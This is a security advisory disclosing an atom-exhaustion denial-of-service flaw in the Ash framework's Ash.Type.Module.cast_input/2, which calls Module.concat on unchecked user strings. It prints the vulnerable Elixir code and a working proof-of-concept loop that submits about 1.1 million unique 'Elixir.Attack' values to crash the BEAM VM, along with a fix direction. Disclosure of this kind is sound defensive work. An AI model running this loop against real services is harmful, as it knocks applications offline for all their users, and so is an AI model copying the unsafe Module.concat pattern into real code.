Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash

Summary

Ash.Type.Module.cast_input/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application.

Details

Setup: A resource with a :module-typed attribute exposed to user input, which is a supported and documented usage of the Ash.Type.Module built-in type:

defmodule MyApp.Widget do
  use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer

  attributes do
    uuid_primary_key :id
    attribute :handler_module, :module, public?: true
  end

  actions do
    defaults [:read, :destroy]
    create :create do
      accept [:handler_module]
    end
  end
end

Vulnerable code in lib/ash/type/module.ex, lines 105-113:

def cast_input("Elixir." <> _ = value, _) do
  module = Module.concat([value])   # <-- Creates new atom unconditionally
  if Code.ensure_loaded?(module) do
    {:ok, module}
  else
    :error                          # <-- Returns error but atom is already created
  end
end

Exploit: Submit repeated Ash.create requests (e.g., via a JSON API endpoint) with unique "Elixir.*" strings:

# Attacker-controlled loop (or HTTP requests to an API endpoint)
for i <- 1..1_100_000 do
  Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"})
  |> Ash.create()
  # Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom
  # cast_input returns :error but the atom :"Elixir.Attack#{i}" persists
end
# After ~1,048,576 unique strings: BEAM crashes with system_limit

Contrast: The non-"Elixir." path in the same function correctly uses String.to_existing_atom/1, which is safe because it only looks up atoms that already exist:

def cast_input(value, _) when is_binary(value) do
  atom = String.to_existing_atom(value)   # safe - raises if atom doesn't exist
  ...
end

Additional occurrence: cast_stored/2 at line 141 contains the identical pattern, which is reachable when reading :module-typed values from the database if an attacker can write arbitrary "Elixir.*" strings to the relevant database column.

Impact

An attacker who can submit requests to any API endpoint backed by an Ash resource with a :module-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.

Fix direction: Replace Module.concat([value]) with String.to_existing_atom(value) wrapped in a rescue ArgumentError block (as already done in the non-"Elixir." branch), or validate that the atom already exists before calling Module.concat by first attempting String.to_existing_atom and only falling back to Module.concat on success.